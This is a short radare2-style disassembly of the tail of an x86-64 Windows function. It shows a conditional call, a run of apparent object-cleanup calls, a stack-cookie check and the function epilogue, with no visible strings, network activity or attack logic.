lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400021cc
call fcn.14000528c
lea rcx, [rbp + 0x238]
call fcn.140006a58
mov edx, 8
lea rcx, [rbp + 0x1f8]
call fcn.14000688c
lea rcx, [rbp + 0x1f8]
call fcn.140007054
test al, al
je 0x1400082cf
cmp qword [rbp - 0x38], 8
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
cmovae r8, qword [rbp - 0x50]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.140003f5c
xor r8d, r8d
lea rcx, [rbp + 0x1f8]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x238]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x58]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x78]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0x98]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x158]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0xb8]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0xd8]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0xf8]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x118]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0x138]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x38]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0x178]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x198]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rbp + 0x1b8]
mov dl, 1
call fcn.1400021cc
xor r8d, r8d
lea rcx, [rbp + 0x1d8]
mov dl, 1
call fcn.14002163c
test rbx, rbx
je 0x1400083e9
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax + 0x18]
lea rcx, [rbp + 0x20]
call fcn.140005eb4
xor r8d, r8d
lea rcx, [rbp + 0x218]
mov dl, 1
call fcn.1400021cc
lea rcx, [rsp + 0x48]
call fcn.140005eb4
jmp 0x140008438
cmp qword [rbp - 0x38], 8
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
mov r9d, 0x40
cmovae r8, qword [rbp - 0x50]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
xor ecx, ecx
call fcn.140003f5c
mov edi, 1
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov dl, 1
call fcn.14002163c
lea rcx, [rbp - 0x10]
call fcn.140005eb4
xor r8d, r8d
lea rcx, [rbp - 0x30]
mov dl, 1
call fcn.14002163c
lea rcx, [rbp + 8]
call fcn.140005eb4
mov eax, edi
mov rcx, qword [rbp + 0x980]
xor rcx, rsp
call fcn.1400336e0
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret